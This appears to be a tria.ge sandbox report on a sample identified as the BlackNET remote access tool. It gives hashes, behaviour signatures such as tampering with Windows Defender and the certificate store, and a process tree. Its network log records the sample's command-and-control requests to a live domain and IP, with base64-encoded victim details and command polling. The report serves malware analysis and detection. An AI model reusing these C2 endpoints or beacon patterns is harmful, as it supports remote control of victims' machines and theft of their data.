Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
120s -
max time network
106s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
18/10/2024, 09:20 UTC
General
-
Target
b7f26ed5953814dd875d5305b4f8cc5b8443ded5fa6883ac69ffa6952b6cfe67N.exe
-
Size
80KB
-
MD5
5e9b98c2f36af17ffe7c294a11097080
-
SHA1
8baf5b7edc1fb3575bba6906c1fa539a6a04ad93
-
SHA256
b7f26ed5953814dd875d5305b4f8cc5b8443ded5fa6883ac69ffa6952b6cfe67
-
SHA512
5889fcced094979f57ebc1893c9fe2d477176f10e439bf1a20a43d9ff8fa60027deb9d472e9b1eb3cd4b1431ee84f1e7961b04c57eb866e5a18eba509d2ad40c
-
SSDEEP
1536:QPvK/3zvzVJJicVLhilofsh2jzJxuOmb54vHTL+lf:Qi5ikFSofrzVmb5uHv+lf
Score
10/10
Malware Config
Signatures
-
BlackNET
BlackNET is an open source remote access tool written in VB.NET.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
-
Windows security modification 2 TTPs 1 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\b7f26ed5953814dd875d5305b4f8cc5b8443ded5fa6883ac69ffa6952b6cfe67N.exe"C:\Users\Admin\AppData\Local\Temp\b7f26ed5953814dd875d5305b4f8cc5b8443ded5fa6883ac69ffa6952b6cfe67N.exe"1⤵
- Modifies Windows Defender Real-time Protection settings
- Windows security modification
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose2⤵
- Suspicious use of AdjustPrivilegeToken
-
Network
-
DNSwww.gunnylaumienphi2017.comRemote address:8.8.8.8:53Requestwww.gunnylaumienphi2017.comIN AResponsewww.gunnylaumienphi2017.comIN A103.92.25.194 -
GEThttps://www.gunnylaumienphi2017.com//connection.php?data=SGFjS2VkX0Q5MjZEMUJFfEJOfFhQQUpPVElZfEJOfE1pY3Jvc29mdCBXaW5kb3dzIDcgVWx0aW1hdGUgfEJOfE4vQXxCTnxPbmxpbmV8Qk58bm98Qk58QWRtaW5pc3RyYXRvcg==Remote address:103.92.25.194:443RequestGET //connection.php?data=SGFjS2VkX0Q5MjZEMUJFfEJOfFhQQUpPVElZfEJOfE1pY3Jvc29mdCBXaW5kb3dzIDcgVWx0aW1hdGUgfEJOfE4vQXxCTnxPbmxpbmV8Qk58bm98Qk58QWRtaW5pc3RyYXRvcg== HTTP/1.1
Host: www.gunnylaumienphi2017.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Wed, 16 Oct 2024 12:19:04 GMT
Accept-Ranges: bytes
ETag: "b24c9197c51fdb1:0"
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Fri, 18 Oct 2024 09:21:17 GMT
Content-Length: 14578
-
GEThttps://www.gunnylaumienphi2017.com//receive.php?command=T25saW5l&vicID=SGFjS2VkX0Q5MjZEMUJFRemote address:103.92.25.194:443RequestGET //receive.php?command=T25saW5l&vicID=SGFjS2VkX0Q5MjZEMUJF HTTP/1.1
Host: www.gunnylaumienphi2017.com
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Wed, 16 Oct 2024 12:19:04 GMT
Accept-Ranges: bytes
ETag: "b24c9197c51fdb1:0"
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Fri, 18 Oct 2024 09:21:17 GMT
Content-Length: 14578
-
GEThttps://www.gunnylaumienphi2017.com//getCommand.php?id=SGFjS2VkX0Q5MjZEMUJFRemote address:103.92.25.194:443RequestGET //getCommand.php?id=SGFjS2VkX0Q5MjZEMUJF HTTP/1.1
Host: www.gunnylaumienphi2017.com
ResponseHTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Wed, 16 Oct 2024 12:19:04 GMT
Accept-Ranges: bytes
ETag: "b24c9197c51fdb1:0"
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Fri, 18 Oct 2024 09:21:19 GMT
Content-Length: 14578
-
103.92.25.194:443https://www.gunnylaumienphi2017.com//getCommand.php?id=SGFjS2VkX0Q5MjZEMUJFtls, http
HTTP Request
GET https://www.gunnylaumienphi2017.com//connection.php?data=SGFjS2VkX0Q5MjZEMUJFfEJOfFhQQUpPVElZfEJOfE1pY3Jvc29mdCBXaW5kb3dzIDcgVWx0aW1hdGUgfEJOfE4vQXxCTnxPbmxpbmV8Qk58bm98Qk58QWRtaW5pc3RyYXRvcg==HTTP Response
200HTTP Request
GET https://www.gunnylaumienphi2017.com//receive.php?command=T25saW5l&vicID=SGFjS2VkX0Q5MjZEMUJFHTTP Response
200HTTP Request
GET https://www.gunnylaumienphi2017.com//getCommand.php?id=SGFjS2VkX0Q5MjZEMUJFHTTP Response
200
-
8.8.8.8:53www.gunnylaumienphi2017.comdns
DNS Request
www.gunnylaumienphi2017.com
DNS Response
103.92.25.194
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
32KB
-
Filesize
2.9MB
-
Filesize
12KB
-
Filesize
412KB
-
Filesize
4KB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
4KB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB